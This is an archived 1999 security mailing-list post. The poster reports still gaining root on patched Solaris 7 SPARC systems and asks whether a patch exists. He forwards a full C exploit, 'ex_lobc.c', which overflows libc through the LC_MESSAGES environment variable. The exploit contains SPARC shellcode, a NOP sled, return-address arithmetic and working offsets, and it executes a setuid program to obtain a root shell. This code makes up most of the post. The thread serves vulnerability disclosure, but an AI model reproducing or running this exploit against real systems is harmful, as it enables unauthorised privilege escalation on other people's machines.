Question on Solaris LC_MESSAGES libc exploit

From: Viraj Alankar (valankarat_private)
Date: Sun Aug 15 1999 - 14:05:40 PDT

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    Hello,

	A previous message stated that the LC_MESSAGES bug in Solaris has
been fixed in 7. However, I am still able to gain root with the below code
on Sparc Solaris 7 5/99 Release boxes with MU2 and 7_Recommended patch set
installed (offset 7152 gets root for me). Has there been a patch released
for Solaris 7 that addresses this? Thanks for any help.

Viraj.

---------- Forwarded message ----------
Date: Sun, 23 May 1999 14:25:26 +0100
From: acpizer <acpizerat_private>
To: BUGTRAQat_private
Subject: Re: Solaris libc exploit

Hi guys,

 Below is a slightly modified exploit which will allow the user to specify
 the offset,  the author has not provided offsets for 2.7/SPARC so here
 they are, any one of these can be used: 7144, 7152, 7160, 7168...

 Cheers.


-- snip --
/*============================================================
   ex_lobc.c Overflow Exploits( for Sparc Edition)
   The Shadow Penguin Security
   (http://base.oc.to:/skyscraper/byte/551)
   Written by UNYUN (unewn4that_private)


   offsets for 2.7/SPARC: 7144, 7152, 7160, 7168, and more...
   offset for 2.6/SPARC: 5392

  ============================================================
*/
#define EV          "LC_MESSAGES="
#define ADJUST      0
#define STARTADR    400
#define NOP         0xa61cc013
#define RETS        600

char    x[80000];

char exploit_code[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2b\x0b\xda\xdc\xae\x15\x63\x68"
"\x90\x0b\x80\x0e\x92\x03\xa0\x0c"
"\x94\x10\x20\x10\x94\x22\xa0\x10"
"\x9c\x03\xa0\x14"
"\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01"
"\x91\xd0\x20\x08"
;

unsigned long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}

int i;
unsigned int ret_adr;

main(int argc, char *argv[])
{
    int OFFSET;

    putenv("LANG=");
    memset(x,'x',70000);


    if (argc == 2)
      OFFSET = atoi(argv[1]);
        else
             OFFSET = 5392;     // default offset for 2.6

    for (i = 0; i < ADJUST; i++) x[i]=0x40;
    for (i = ADJUST; i < 1000; i+=4){
        x[i+3]=NOP & 0xff;
        x[i+2]=(NOP >> 8 ) &0xff;
        x[i+1]=(NOP >> 16 ) &0xff;
        x[i+0]=(NOP >> 24 ) &0xff;
    }
    for (i=0;i<strlen(exploit_code);i++) \
		x[STARTADR+i+ADJUST]=exploit_code[i];
    ret_adr=get_sp()-OFFSET;
    printf("jumping address : %lx,  offset = %d\n",ret_adr, OFFSET);
    if ((ret_adr & 0xff) ==0 ){
        ret_adr -=16;
        printf("New jumping address : %lx\n",ret_adr);
    }
    for (i = ADJUST+RETS; i < RETS+600; i+=4){
        x[i+3]=ret_adr & 0xff;
        x[i+2]=(ret_adr >> 8 ) &0xff;
        x[i+1]=(ret_adr >> 16 ) &0xff;
        x[i+0]=(ret_adr >> 24 ) &0xff;
    }
    memcpy(x,EV,strlen(EV));
    x[3000]=0;
    putenv(x);
    execl("/bin/rsh","su",(char *)0);
}
-- snip --

-------------------------------------------------------------------------------
"Probably you've only really grown up, when you can bear not being understood."

                              Marian Gold /Alphaville

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